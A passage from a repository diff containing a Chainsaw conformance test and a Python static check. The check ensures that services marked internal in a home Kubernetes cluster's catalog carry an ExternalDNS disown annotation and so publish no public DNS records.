# SOHO router at 192.168.2.1 strips those answers and LAN clients need per-client dnsmasq
|
||||
# overrides to reach their own services;
|
||||
# * the guarantee was only ever prose. `exposure` was the operator's one declaration of intent
|
||||
# and it had NO effect on DNS whatsoever, so "internal" meant nothing an attacker had to
|
||||
# respect.
|
||||
#
|
||||
# WHY THE FIX NEEDS A GUARD AND NOT JUST A COMMIT. The mechanism is an annotation on a rendered
|
||||
# HTTPRoute. An annotation is exactly the kind of thing that survives review by looking harmless
|
||||
# and then disappears in a refactor of `_route_meta`, a hand-edit of apps/, or a new service added
|
||||
# by copying a public one. Nothing about its ABSENCE is loud: the service keeps working on the LAN,
|
||||
# the Kustomization stays Ready, and the only symptom is a public record nobody is looking at. The
|
||||
# 2026-09-13 ServiceMonitor incident in this same tree is the precedent — twelve monitors pointed
|
||||
# at a port that did not exist for weeks, silently, because the only thing asserting the wiring was
|
||||
# prose. This test makes the DNS guarantee a gate condition instead.
|
||||
#
|
||||
# GIVEN every ServiceDefinition in catalog/ and every HTTPRoute and external-dns-annotated
|
||||
# Service this repo authors,
|
||||
# WHEN each catalog service's rendered routes are resolved in the applied tree (apps/),
|
||||
# THEN (1) every route of an `exposure: internal` service carries ExternalDNS's own controller
|
||||
# annotation set to something OTHER than `dns-controller`, which external-dns v0.21.0
|
||||
# uses to skip the source object outright (source/gateway.go ->
|
||||
# annotations.IsControllerMismatch, checked before any hostname is resolved), so the
|
||||
# route cannot become an endpoint for ANY name it declares;
|
||||
# (2) NO route of an `exposure: public` service carries it — asserted explicitly, because a
|
||||
# renderer that stamped every route would satisfy (1) perfectly while silently
|
||||
# withdrawing the five public services' records, and `policy: sync` would delete them;
|
||||
# (3) the same holds for the `service` source: an internal service's rendered Service may
|
||||
# not carry an external-dns hostname annotation without the disown annotation beside it.
|
||||
# Two sources are configured, so closing only the route half is half a guarantee;
|
||||
# (4) the annotation is DERIVED FROM `exposure` in catalog/render.py and from nothing else —
|
||||
# the emitting function must read `exposure`, must not name any catalog service, and
|
||||
# must not be able to emit external-dns's own `dns-controller` value (the one value that
|
||||
# CLAIMS a route rather than releasing it, inverting the guarantee while looking
|
||||
# plausible). A per-service list is how twelve ServiceMonitors acquired one identical
|
||||
# wrong port name in a single edit;
|
||||
# (5) THE RENDERER IS PROVEN END-TO-END on synthetic ServiceDefinitions, by invoking the
|
||||
# SHIPPED catalog/render.py as a subprocess: an `internal` fixture must yield the
|
||||
# annotation, a `public` fixture must not, and a fixture that OMITS `exposure` must also
|
||||
# yield it (the contract's default posture is `internal`, and omitting the field is the
|
||||
# likeliest way a new service arrives). Without this the check would still pass if the
|
||||
# renderer stopped working and someone hand-maintained apps/;
|
||||
# (6) every HTTPRoute or annotated Service in the tree that the catalog does NOT render is
|
||||
# DECLARED in KNOWN_NON_CATALOG_PUBLISHERS with what it publishes and why it is out of
|
||||
# scope. Those are hand-authored platform/apps manifests with no `exposure` field for a
|
||||
# renderer to read, and they are the seven names that REMAIN publicly advertised with an
|
||||
# RFC1918 answer after this change. The register is shrink-only: an entry that stops
|
||||
# matching a real object FAILS as stale, so the set of unadjudicated publishers cannot
|
||||
# quietly grow, and adding a new one is a review event;
|
||||
# AND (7) the check is LOAD-BEARING: this Test DECLARES `conformance.home.k3s/scope: whole-repo`,
|
||||
# so ci/l0.sh Stage 3b's `--include-scope whole-repo` unions it into EVERY gate run, and
|
||||
# ci/gate.sh blocks the merge when the l0 stage fails. It deliberately adds NO stage to
|
||||
# ci/l0.sh — tests/l0-static/whole-repo-invariants-wired fails the gate if anyone does.
|
||||
#
|
||||
# WHY SCOPE, NOT REQUIREMENTS: ci/touched-requirements.sh's path map keys apps/* to NOTHING, and
|
||||
# apps/ is exactly where the rendered routes live. A requirement-scoped selection would therefore
|
||||
# filter this check out of the change most likely to break it — a hand-edit of a rendered route.
|
||||
# Same reasoning as its whole-repo siblings.
|
||||
#
|
||||
# STATUS: EXECUTABLE. `check.sh` is an offline assertion script (PyYAML, as catalog/render.py and
|
||||
# the sibling l0-static checks use); conformance/run.sh --layer l0 and ci/l0.sh run it directly,
|
||||
# and this Chainsaw Test wraps the SAME script.
|
||||
#
|
||||
# NOT proven (honest gaps; this is static, and it runs with no cluster and no network):
|
||||
# - That the record is actually GONE from Cloudflare. That is a live read against an external
|
||||
# authority and belongs in L2 beside conformance/tests/l2-behavioral/dns-exposure, which owns
|
||||
# the positive direction (a public name DOES appear). The negative direction was proven
|
||||
# MANUALLY on prod against the deployed v0.21.0 before this landed — a throwaway HTTPRoute
|
||||
# carrying the annotation produced no record at all, and adding the annotation to a route that
|
||||
# already had one produced `action=DELETE` for both its A record and its `a-` TXT registry
|
||||
# entry within one ~60s reconcile — but a manual proof is not a gate.
|
||||
# - That an `internal` name is unreachable from the internet. No DNS record is necessary for
|
||||
# reachability; a port-forward plus a hardcoded IP still reaches the Gateway. This check owns
|
||||
# the NAME axis only. R-NET-04 / the edge port-forward posture owns the other.
|
||||
# - Anything about the seven non-catalog publishers' own correctness. The register records WHAT
|
||||
# each publishes so the claim is reviewable, which is all a static check can offer.
|
||||
# - Anything about the five `public` services' TARGET. They still resolve to the Gateway VIP
|
||||
# rather than a routable address; that is an open operator decision recorded in
|
||||
# platform/externaldns/helmrelease.yaml, and asserting a target here would hard-code a guess.
|
||||
# - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
|
||||
# =============================================================================
|
||||
apiVersion: chainsaw.kyverno.io/v1alpha1
|
||||
kind: Test
|
||||
metadata:
|
||||
name: internal-services-publish-no-public-dns
|
||||
labels:
|
||||
conformance.home.k3s/R-DNS-02: "true"
|
||||
conformance.home.k3s/R-DNS-03: "true"
|
||||
annotations:
|
||||
conformance.home.k3s/requirements: "R-DNS-02, R-DNS-03"
|
||||
conformance.home.k3s/layer: "L0"
|
||||
# WHOLE-REPO SCOPE — this invariant quantifies over every ServiceDefinition in catalog/, every
|
||||
# HTTPRoute in apps/wave-* and platform/* and runbooks/, and every external-dns-annotated
|
||||
# Service (apps/vms/unifi, platform/crafty). No single requirement path-maps to that set, and
|
||||
# ci/touched-requirements.sh maps apps/* — where the rendered routes live — to no requirement
|
||||
# at all, so a requirement-scoped selection would skip this check on precisely the changes
|
||||
# that can break it.
|
||||
conformance.home.k3s/scope: "whole-repo"
|
||||
conformance.home.k3s/safety-critical: "true"
|
||||
conformance.home.k3s/executable: "true"
|
||||
conformance.home.k3s/intent: >-
|
||||
A service the operator declared `internal` cannot produce a public DNS record: the
|
||||
guarantee is derived from `exposure` by catalog/render.py, present on every rendered route
|
||||
in the applied tree, absent from every public one, proven end-to-end on synthetic fixtures,
|
||||
and the hand-authored manifests the catalog does not render are enumerated in a shrink-only
|
||||
register so the unadjudicated set cannot grow silently.
|
||||
spec:
|
||||
steps:
|
||||
- name: assert-no-internal-service-can-publish-a-public-dns-record
|
||||
description: >-
|
||||
Resolve every catalog service's rendered HTTPRoutes in apps/, assert the ExternalDNS
|
||||
disown annotation on every internal one and on no public one, extend the same rule to the
|
||||
`service` source, assert catalog/render.py derives the annotation from `exposure` rather
|
||||
than from a service list, prove the shipped renderer on internal/public/default-posture
|
||||
fixtures, and ratchet the register of hand-authored publishers the catalog does not render.
|
||||
try:
|
||||
- script:
|
||||
content: bash ./check.sh
|
||||
+458
@@ -0,0 +1,458 @@
|
||||
#!/usr/bin/env bash
|
||||
# =============================================================================
|
||||
# L0 STATIC CHECK — no service declared `internal` can produce a PUBLIC DNS record.
|
||||
# See chainsaw-test.yaml's header for the full WHY. In one paragraph:
|
||||
#
|
||||
# docs/09 R-DNS-03 and schemas/renderer-contract.md §exposure both say an `internal` service
|
||||
# renders no public DNS record. Nothing enforced it: ExternalDNS watched every HTTPRoute on the
|
||||
# shared Gateway, so six internal services published `<name>.home.keithjackson.dev` into the
|
||||
# public Cloudflare zone answering with the RFC1918 Gateway VIP (verified at the authority
|
||||
# 2026-09-14; pre-state committed at .standup-dns/dns-20260914-pre-externaldns-scope.txt). The fix
|
||||
# derives ExternalDNS's controller annotation from `exposure` in catalog/render.py; this check is
|
||||
# what keeps it derived, present, and scoped.
|
||||
#
|
||||
# ASSERTIONS
|
||||
# (0) the inventory is non-empty and the parse contract holds (anti-vacuous-pass);
|
||||
# (1) every rendered route of an `internal` service carries the disown annotation;
|
||||
# (2) NO rendered route of a `public` service carries it — a renderer stamping everything would
|
||||
# satisfy (1) and silently delete the five public records under policy: sync;
|
||||
# (3) the `service` source half: an internal service's Service may not carry an external-dns
|
||||
# hostname annotation without the disown annotation beside it;
|
||||
# (4) catalog/render.py DERIVES the annotation from `exposure` — the emitting function reads that
|
||||
# field, names no catalog service, and cannot emit external-dns's own `dns-controller`;
|
||||
# (5) the SHIPPED renderer is proven end-to-end on synthetic ServiceDefinitions (internal,
|
||||
# public, and `exposure` OMITTED — the contract's default posture is internal);
|
||||
# (6) every HTTPRoute / annotated Service the catalog does NOT render is declared in
|
||||
# KNOWN_NON_CATALOG_PUBLISHERS — shrink-only, stale entries FAIL;
|
||||
# (7) the check is LOAD-BEARING: whole-repo scope declared in chainsaw-test.yaml, honoured by
|
||||
# ci/l0.sh's --include-scope union, and ci/gate.sh blocks on an l0 failure. NO hand-written
|
||||
# ci/l0.sh stage (whole-repo-invariants-wired fails the gate if one appears).
|
||||
#
|
||||
# WHAT THIS DOES *NOT* PROVE (honest gaps — it is STATIC, offline, cluster-free):
|
||||
# - That the record is gone from Cloudflare. Live read; belongs beside
|
||||
# conformance/tests/l2-behavioral/dns-exposure, which owns the positive direction. The negative
|
||||
# direction was proven manually on prod against the deployed v0.21.0 (a route carrying the
|
||||
# annotation produced no record; adding it to a route that had one produced action=DELETE for
|
||||
# both the A and its `a-` TXT within ~60s) — but a manual proof is not a gate.
|
||||
# - That an internal name is UNREACHABLE. A port-forward plus a literal IP needs no DNS record.
|
||||
# This check owns the NAME axis only.
|
||||
# - Anything about the five public services' TARGET. They still answer with the Gateway VIP; the
|
||||
# routable-target decision is open and recorded in platform/externaldns/helmrelease.yaml.
|
||||
# - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
|
||||
#
|
||||
# Exit 0 = all assertions pass. Exit 1 = a failure. Exit 3 (honest SKIP, which the runner turns
|
||||
# into rc 3 = UNWIRED, never green, because this test declares the whole-repo scope) only if
|
||||
# catalog/ or apps/ is absent — i.e. the subject tree has vanished, which is not a pass.
|
||||
# =============================================================================
|
||||
set -euo pipefail
|
||||
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
ROOT="$(cd "${DIR}/../../../.." && pwd)" # repo root
|
||||
PYTHON="${PYTHON:-python3}"
|
||||
|
||||
# Honest SKIP (never green for a scope-declaring test) if the subject trees are not there at all.
|
||||
if [ ! -d "${ROOT}/catalog" ] || [ ! -d "${ROOT}/apps" ] || [ ! -f "${ROOT}/catalog/render.py" ]; then
|
||||
echo "check SKIPPED: catalog/, apps/ or catalog/render.py absent — nothing to audit" >&2
|
||||
exit 3
|
||||
fi
|
||||
|
||||
cd "${ROOT}"
|
||||
"${PYTHON}" - "${ROOT}" <<'PY'
|
||||
"""Static audit: an `internal` ServiceDefinition cannot produce a public DNS record.
|
||||
|
||||
PyYAML (the same dependency as catalog/render.py and the sibling l0-static checks) rather than
|
||||
line-based parsing: an HTTPRoute's annotations and a ServiceDefinition's exposure are nested
|
||||
structures, and a line-based reader of them is precisely the approximate parser that silently
|
||||
stops matching — the failure class this check exists to prevent.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
try:
|
||||
import yaml
|
||||
except ImportError: # pragma: no cover
|
||||
print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
|
||||
file=sys.stderr)
|
||||
raise SystemExit(1)
|
||||
|
||||
ROOT = Path(sys.argv[1])
|
||||
sys.dont_write_bytecode = True # keep __pycache__ out of the tracked tree
|
||||
|
||||
FAILURES: list[str] = []
|
||||
CHECKS = 0
|
||||
|
||||
# external-dns's own constants (v0.21.0 source/annotations/annotations.go):
|
||||
# ControllerKey = annotationPrefix + "controller" -> the key below
|
||||
# ControllerValue = "dns-controller" -> the value that CLAIMS an object
|
||||
# source/annotations/processors.go IsControllerMismatch skips a source object when the key is
|
||||
# PRESENT and the value is NOT ControllerValue. So "disowned" == key present, value != claimed.
|
||||
CONTROLLER_KEY = "external-dns.alpha.kubernetes.io/controller"
|
||||
CONTROLLER_CLAIMED = "dns-controller"
|
||||
HOSTNAME_KEY = "external-dns.alpha.kubernetes.io/hostname"
|
||||
|
||||
|
||||
def check(cond, msg):
|
||||
global CHECKS
|
||||
CHECKS += 1
|
||||
if not cond:
|
||||
FAILURES.append(msg)
|
||||
|
||||
|
||||
def read(p: Path) -> str:
|
||||
try:
|
||||
return p.read_text()
|
||||
except (OSError, UnicodeDecodeError):
|
||||
return ""
|
||||
|
||||
|
||||
def docs_of(p: Path):
|
||||
"""Every YAML document in a file, tolerating the non-manifest files in the tree."""
|
||||
try:
|
||||
return [d for d in yaml.safe_load_all(read(p)) if isinstance(d, dict)]
|
||||
except yaml.YAMLError:
|
||||
return []
|
||||
|
||||
|
||||
# =============================================================================================
|
||||
# REGISTER — KNOWN_NON_CATALOG_PUBLISHERS. Shrink-only.
|
||||
#
|
||||
# These are HAND-AUTHORED HTTPRoutes and Services that put a name into the same public Cloudflare
|
||||
# zone but that catalog/render.py does not render, so there is no `exposure` field for the renderer
|
||||
# to derive anything from and this check cannot adjudicate them. That is a real limit, not a pass —
|
||||
# so each one is DECLARED, with the name it publishes and why it is out of this check's scope, and
|
||||
# the register can only shrink. An entry naming an object that no longer exists FAILS as stale, so
|
||||
# a deleted publisher cannot leave a lie behind; a NEW publisher fails until it is declared, so the
|
||||
# unadjudicated set cannot grow without a review event. Same ratchet reasoning as
|
||||
# KNOWN_EXTERNAL_MONITORS in servicemonitor-ports-resolve.
|
||||
#
|
||||
# EVERY ENTRY HERE IS A NAME THAT STILL ANSWERS WITH AN RFC1918 ADDRESS IN A PUBLIC ZONE. That is
|
||||
# the honest state after this change, and it is deliberate: converting them is an operator
|
||||
# decision per name (is grafana meant to be publicly resolvable at all?), not a renderer change,
|
||||
# and a cluster-wide ExternalDNS opt-in filter — the available hardening, see
|
||||
# platform/externaldns/helmrelease.yaml — would DELETE all of them at once the moment it is set.
|
||||
#
|
||||
# Keyed by "<relpath>:<namespace>/<name>".
|
||||
# =============================================================================================
|
||||
KNOWN_NON_CATALOG_PUBLISHERS: dict[str, str] = {
|
||||
"platform/oauth2-proxy/httproute.yaml:oauth2-proxy/oauth2-proxy":
|
||||
"publishes auth.${BASE_DOMAIN} -> the Gateway VIP. The oauth2-proxy login endpoint is a "
|
||||
"platform component, not a catalog service; it must be reachable by every browser that "
|
||||
"any forward-auth app redirects, so whether it is PUBLICLY resolvable is coupled to "
|
||||
"whether the five public services are — an operator decision, not a renderer one.",
|
||||
"platform/keycloak/httproute.yaml:keycloak/keycloak":
|
||||
"publishes keycloak.${BASE_DOMAIN} -> the Gateway VIP, and it is the route that actually "
|
||||
"OWNS that record (the TXT registry entry reads resource=httproute/keycloak/keycloak, not "
|
||||
"the catalog-rendered keycloak-8080 route, because external-dns merges duplicate "
|
||||
"hostnames and this one won). Keycloak is `exposure: public` in the catalog, so the name "
|
||||
"is meant to be public either way; it is listed because the PUBLISHING object is the "
|
||||
"hand-authored platform route, which carries no exposure field.",
|
||||
"platform/monitoring/grafana-httproute.yaml:monitoring/grafana":
|
||||
"publishes grafana.${BASE_DOMAIN} -> the Gateway VIP. An admin dashboard; almost "
|
||||
"certainly should not be publicly resolvable, but it is not a catalog service and "
|
||||
"withdrawing it is an operator call with the same LAN-resolution prerequisite as the six "
|
||||
"internal services (Pi-hole must answer first).",
|
||||
"platform/headlamp/httproute.yaml:headlamp/headlamp":
|
||||
"publishes headlamp.${BASE_DOMAIN} -> the Gateway VIP. A Kubernetes web UI with native "
|
||||
"Keycloak OIDC; same adjudication as grafana.",
|
||||
"platform/homepage/httproute.yaml:homepage/homepage":
|
||||
"publishes the APEX ${BASE_DOMAIN} itself -> the Gateway VIP, via the https-apex "
|
||||
"listener. The apex is not a per-service name and cannot be withdrawn by an exposure "
|
||||
"declaration.",
|
||||
"runbooks/serving/httproute.yaml:runbooks/runbooks":
|
||||
"declares NO hostnames and inherits the https-apex listener's ${BASE_DOMAIN}, so it "
|
||||
"contributes to the apex record rather than a name of its own (the apex TXT registry "
|
||||
"entry names the homepage route). Deliberately un-authenticated — see the manifest's own "
|
||||
"header for why gating runbooks on Keycloak is a loop with no exit.",
|
||||
"platform/crafty/httproute.yaml:crafty/crafty":
|
||||
"publishes crafty.${BASE_DOMAIN} -> the Gateway VIP (the Minecraft admin UI, gated by an "
|
||||
"oauth2-proxy sidecar). Platform component, no exposure field.",
|
||||
"platform/crafty/service-l4.yaml:crafty/crafty-l4-tcp":
|
||||
"the `service` SOURCE, not a route: publishes crafty-mc.${BASE_DOMAIN} -> "
|
||||
"${CRAFTY_L4_VIP} (192.168.2.22) for the raw Minecraft TCP/UDP game ports the HTTPS "
|
||||
"Gateway cannot express. A game server is the one case where a public name may be "
|
||||
"genuinely wanted; the address it answers with is still RFC1918.",
|
||||
"apps/vms/unifi/50-service-l4.yaml:unifi/unifi-l4-tcp":
|
||||
"the `service` source: publishes unifi.${BASE_DOMAIN} -> ${UNIFI_L4_VIP} "
|
||||
"(192.168.2.21) for the UniFi controller VM's inform/STUN/adoption ports. Hand-authored "
|
||||
"under apps/vms (a VM, not a rendered container service); the catalog's only VM entry is "
|
||||
"vm-demo, which declares no ingressRoutes and publishes nothing.",
|
||||
}
|
||||
|
||||
# =============================================================================================
|
||||
# (0) INVENTORY — the catalog, and every HTTPRoute / annotated Service in the tree.
|
||||
# =============================================================================================
|
||||
CATALOG = ROOT / "catalog"
|
||||
sds: dict[str, dict] = {}
|
||||
for p in sorted(CATALOG.glob("*.yaml")):
|
||||
for d in docs_of(p):
|
||||
if "name" in d and "source" in d:
|
||||
sds[d["name"]] = d
|
||||
|
||||
check(len(sds) > 0, "inventory: catalog/ yielded no ServiceDefinition — parse contract broken")
|
||||
|
||||
# The default posture is `internal` (renderer-contract "Default posture"), so an ABSENT field is
|
||||
# internal, never "unclassified". Getting this wrong in the check would be the same bug as in the
|
||||
# renderer: a new service that omits exposure would go unaudited.
|
||||
exposure_of = {n: (sd.get("exposure") or "internal") for n, sd in sds.items()}
|
||||
# (namespace, routename) -> service, for the routes the renderer emits: one per ingressRoute,
|
||||
# named "<service>-<port>" in namespace "<service>" (catalog/render.py _route_meta).
|
||||
expected_routes: dict[tuple[str, str], str] = {}
|
||||
for n, sd in sds.items():
|
||||
for r in sd.get("ingressRoutes") or []:
|
||||
expected_routes[(n, f"{n}-{r['port']}")] = n
|
||||
|
||||
internal_with_routes = sorted({s for (_, _), s in expected_routes.items()
|
||||
if exposure_of[s] == "internal"})
|
||||
public_with_routes = sorted({s for (_, _), s in expected_routes.items()
|
||||
if exposure_of[s] == "public"})
|
||||
check(len(internal_with_routes) > 0,
|
||||
"inventory: no `internal` catalog service declares an ingressRoute — the subject set of "
|
||||
"this check is empty, which means either the catalog changed shape or the parse is wrong")
|
||||
check(len(public_with_routes) > 0,
|
||||
"inventory: no `public` catalog service declares an ingressRoute — assertion (2) would be "
|
||||
"vacuous, so the parse is presumed wrong rather than the repo")
|
||||
|
||||
SCAN_DIRS = ["apps", "platform", "runbooks"]
|
||||
routes: list[tuple[str, dict]] = [] # (relpath, HTTPRoute doc)
|
||||
dns_services: list[tuple[str, dict]] = [] # (relpath, Service doc carrying an external-dns ann)
|
||||
for sub in SCAN_DIRS:
|
||||
base = ROOT / sub
|
||||
if not base.is_dir():
|
||||
continue
|
||||
for p in sorted(base.rglob("*.yaml")):
|
||||
rel = p.relative_to(ROOT).as_posix()
|
||||
for d in docs_of(p):
|
||||
kind = d.get("kind")
|
||||
md = d.get("metadata") or {}
|
||||
ann = md.get("annotations") or {}
|
||||
if kind == "HTTPRoute":
|
||||
routes.append((rel, d))
|
||||
elif kind == "Service" and any(
|
||||
a.startswith("external-dns.alpha.kubernetes.io/") for a in ann
|
||||
):
|
||||
dns_services.append((rel, d))
|
||||
|
||||
check(len(routes) > 0, "inventory: no HTTPRoute found under apps/ platform/ runbooks/ — parse "
|
||||
"contract broken (the tree is known to author several)")
|
||||
|
||||
|
||||
def ident(d: dict) -> tuple[str, str]:
|
||||
md = d.get("metadata") or {}
|
||||
return (md.get("namespace") or "", md.get("name") or "")
|
||||
|
||||
|
||||
def annotations_of(d: dict) -> dict:
|
||||
return (d.get("metadata") or {}).get("annotations") or {}
|
||||
|
||||
|
||||
def is_disowned(d: dict) -> bool:
|
||||
"""True iff external-dns v0.21.0 would SKIP this object: the controller annotation is present
|
||||
and its value is not external-dns's own. Absent == published (the default), which is the whole
|
||||
point — the annotation is the only thing standing between a route and the public zone."""
|
||||
v = annotations_of(d).get(CONTROLLER_KEY)
|
||||
return v is not None and v != CONTROLLER_CLAIMED
|
||||
|
||||
|
||||
# =============================================================================================
|
||||
# (1) + (2) every internal service's rendered route is disowned; no public one is.
|
||||
# =============================================================================================
|
||||
by_ident: dict[tuple[str, str], list[tuple[str, dict]]] = {}
|
||||
for rel, d in routes:
|
||||
by_ident.setdefault(ident(d), []).append((rel, d))
|
||||
|
||||
for (ns, rname), svc in sorted(expected_routes.items()):
|
||||
found = by_ident.get((ns, rname), [])
|
||||
check(len(found) >= 1,
|
||||
f"({svc}) the catalog declares an ingressRoute rendering HTTPRoute {ns}/{rname}, but no "
|
||||
f"such HTTPRoute exists in the applied tree — apps/ is out of sync with catalog/ "
|
||||
f"(ci/render-golden.sh owns the byte-level half of this)")
|
||||
for rel, d in found:
|
||||
if exposure_of[svc] == "internal":
|
||||
v = annotations_of(d).get(CONTROLLER_KEY)
|
||||
check(
|
||||
v is not None,
|
||||
f"({svc}) R-DNS-03 VIOLATED: {rel} HTTPRoute {ns}/{rname} belongs to an "
|
||||
f"`exposure: internal` service but carries NO `{CONTROLLER_KEY}` annotation, so "
|
||||
f"external-dns publishes {ns}.<zone> into the PUBLIC Cloudflare zone answering "
|
||||
f"with the RFC1918 Gateway VIP. An internal service must render no public record.",
|
||||
)
|
||||
check(
|
||||
v != CONTROLLER_CLAIMED,
|
||||
f"({svc}) {rel} HTTPRoute {ns}/{rname} sets `{CONTROLLER_KEY}: "
|
||||
f"{CONTROLLER_CLAIMED}` — that is external-dns's OWN value, which CLAIMS the route "
|
||||
f"rather than releasing it. It reads like the guard and is its exact inverse.",
|
||||
)
|
||||
else:
|
||||
check(
|
||||
CONTROLLER_KEY not in annotations_of(d),
|
||||
f"({svc}) {rel} HTTPRoute {ns}/{rname} belongs to an `exposure: "
|
||||
f"{exposure_of[svc]}` service yet carries `{CONTROLLER_KEY}`. Under "
|
||||
f"`policy: sync` that DELETES its live public record — the five public services "
|
||||
f"must keep publishing.",
|
||||
)
|
||||
|
||||
# =============================================================================================
|
||||
# (3) the `service` source half — an internal service's Service may not publish either.
|
||||
# =============================================================================================
|
||||
for rel, d in dns_services:
|
||||
ns, name = ident(d)
|
||||
svc = ns if ns in sds else None
|
||||
if svc and exposure_of[svc] == "internal":
|
||||
check(
|
||||
is_disowned(d),
|
||||
f"({svc}) {rel} Service {ns}/{name} carries an external-dns annotation "
|
||||
f"({sorted(a for a in annotations_of(d) if a.startswith('external-dns'))}) for an "
|
||||
f"`exposure: internal` service without a disowning `{CONTROLLER_KEY}`. Both "
|
||||
f"`gateway-httproute` AND `service` are configured sources, so closing only the route "
|
||||
f"half is half a guarantee.",
|
||||
)
|
||||
|
||||
# =============================================================================================
|
||||
# (4) the GENERATOR derives it from `exposure` — not from a list of service names.
|
||||
# =============================================================================================
|
||||
render_py = ROOT / "catalog" / "render.py"
|
||||
src = read(render_py)
|
||||
check(bool(src), "catalog/render.py unreadable")
|
||||
|
||||
emitter = re.search(
|
||||
r"def _externaldns_route_annotations\(.*?\n(?=\n?def |\n?# =====)", src, re.S
|
||||
)
|
||||
check(emitter is not None,
|
||||
"catalog/render.py must define `_externaldns_route_annotations` — the single place the "
|
||||
"ExternalDNS scoping is derived. If it was renamed, rename it here too: this check has to "
|
||||
"read the DERIVATION, not just the output, or a hardcoded per-service list would pass.")
|
||||
if emitter:
|
||||
body = emitter.group(0)
|
||||
# The derivation must read `exposure`. A body that does not mention it cannot be deriving
|
||||
# anything from the operator's declaration.
|
||||
check('"exposure"' in body or "'exposure'" in body,
|
||||
"`_externaldns_route_annotations` must read the `exposure` field — the guarantee is "
|
||||
"that the OPERATOR'S DECLARATION decides, so `exposure` has to appear in the decision")
|
||||
# and it must not name any catalog service: a per-service list is how twelve ServiceMonitors
|
||||
# acquired one identical wrong port name in a single edit. Only the executable statements are
|
||||
# inspected — the docstring legitimately names the affected services as evidence.
|
||||
code = re.sub(r'"""(?:.|\n)*?"""', "", body, count=1)
|
||||
named = sorted(n for n in sds if re.search(rf"""['"]{re.escape(n)}['"]""", code))
|
||||
check(not named,
|
||||
f"`_externaldns_route_annotations` names catalog service(s) {named} in its CODE. The "
|
||||
f"annotation must be derived from `exposure` alone; a per-service list silently omits "
|
||||
f"the next service anyone adds.")
|
||||
check(CONTROLLER_CLAIMED not in code,
|
||||
f"`_externaldns_route_annotations` must never be able to emit `{CONTROLLER_CLAIMED}` — "
|
||||
f"external-dns's own value CLAIMS the object instead of releasing it")
|
||||
|
||||
# =============================================================================================
|
||||
# (5) THE SHIPPED RENDERER IS PROVEN on synthetic ServiceDefinitions. Three fixtures, because
|
||||
# "internal is annotated" alone would also pass if the renderer annotated everything, and
|
||||
# because the contract's DEFAULT posture is internal — the case a new service hits by
|
||||
# omitting the field entirely, and the case a per-service list would miss.
|
||||
# =============================================================================================
|
||||
FIXTURES = [
|
||||
("fixture-internal", {"exposure": "internal"}, True,
|
||||
"an `internal` fixture must render the disown annotation"),
|
||||
("fixture-public", {"exposure": "public"}, False,
|
||||
"a `public` fixture must render NO disown annotation"),
|
||||
("fixture-default", {}, True,
|
||||
"a fixture OMITTING `exposure` defaults to internal (renderer-contract default posture) and "
|
||||
"must also render the disown annotation"),
|
||||
]
|
||||
with tempfile.TemporaryDirectory() as td:
|
||||
for fname, extra, want, msg in FIXTURES:
|
||||
sd = {
|
||||
"name": fname,
|
||||
"kind": "container",
|
||||
"source": {"image": "example/app:1.0.0"},
|
||||
"egress": "internet",
|
||||
"dependencies": [],
|
||||
"ingressRoutes": [{"host": f"{fname}.home.keithjackson.dev", "port": 8080}],
|
||||
# `native` avoids the oauth2-proxy sidecar path and the schema's groups requirement,
|
||||
# keeping the fixture about DNS scoping and nothing else. A public service may not use
|
||||
# auth.mode none (schema invariant since 1.1.0), so both fixtures use the same mode.
|
||||
"auth": {"mode": "native"},
|
||||
"update": {"channel": "stable", "cadence": "0 4 * * 0",
|
||||
"autoRollbackOnFailedHealth": True},
|
||||
"observability": {"metrics": True, "slis": ["up"]},
|
||||
"backup": {"policy": "reacquirable"},
|
||||
}
|
||||
sd.update(extra)
|
||||
f = Path(td) / f"{fname}.yaml"
|
||||
f.write_text(yaml.safe_dump(sd, sort_keys=False))
|
||||
proc = subprocess.run(
|
||||
[sys.executable, str(render_py), str(f), "--no-image-automation"],
|
||||
capture_output=True, text=True, cwd=str(ROOT),
|
||||
)
|
||||
if proc.returncode != 0:
|
||||
check(False, f"fixture {fname}: the shipped renderer failed: "
|
||||
f"{proc.stderr.strip()[:400]}")
|
||||
continue
|
||||
rendered = [d for d in yaml.safe_load_all(proc.stdout)
|
||||
if isinstance(d, dict) and d.get("kind") == "HTTPRoute"]
|
||||
check(len(rendered) == 1, f"fixture {fname}: expected exactly one rendered HTTPRoute")
|
||||
if rendered:
|
||||
got = is_disowned(rendered[0])
|
||||
check(got is want, f"fixture {fname}: {msg} (rendered annotations: "
|
||||
f"{annotations_of(rendered[0])})")
|
||||
|
||||
# =============================================================================================
|
||||
# (6) REGISTER RATCHET — every publisher the catalog does not render is declared, and every
|
||||
# declaration still names a real object.
|
||||
# =============================================================================================
|
||||
catalog_rendered = set(expected_routes)
|
||||
seen_register_keys: set[str] = set()
|
||||
for rel, d in routes + dns_services:
|
||||
ns, name = ident(d)
|
||||
if (ns, name) in catalog_rendered:
|
||||
continue
|
||||
key = f"{rel}:{ns}/{name}"
|
||||
seen_register_keys.add(key)
|
||||
check(
|
||||
key in KNOWN_NON_CATALOG_PUBLISHERS,
|
||||
f"UNDECLARED publisher {key}: a {d.get('kind')} the catalog does not render, so it has no "
|
||||
f"`exposure` field this check can adjudicate, and it can put a name into the public "
|
||||
f"Cloudflare zone. Add it to KNOWN_NON_CATALOG_PUBLISHERS with what it publishes and why "
|
||||
f"it is out of scope — or render it from a ServiceDefinition instead.",
|
||||
)
|
||||
stale = sorted(set(KNOWN_NON_CATALOG_PUBLISHERS) - seen_register_keys)
|
||||
check(not stale,
|
||||
f"STALE register entries {stale}: KNOWN_NON_CATALOG_PUBLISHERS is shrink-only, and these "
|
||||
f"name no object in the tree any more. Delete them — a register that keeps entries for "
|
||||
f"deleted objects stops being evidence of anything.")
|
||||
|
||||
# =============================================================================================
|
||||
# (7) LOAD-BEARING — the scope is DECLARED here (so ci/l0.sh Stage 3b's --include-scope union
|
||||
# always selects this test) and NO stage is hand-written into ci/l0.sh (the
|
||||
# whole-repo-invariants-wired meta-test fails the gate if one is).
|
||||
# =============================================================================================
|
||||
TEST_DIR = ROOT / "conformance/tests/l0-static/internal-services-publish-no-public-dns"
|
||||
test_yaml = read(TEST_DIR / "chainsaw-test.yaml")
|
||||
check(bool(test_yaml), "this test's own chainsaw-test.yaml is unreadable")
|
||||
check(
|
||||
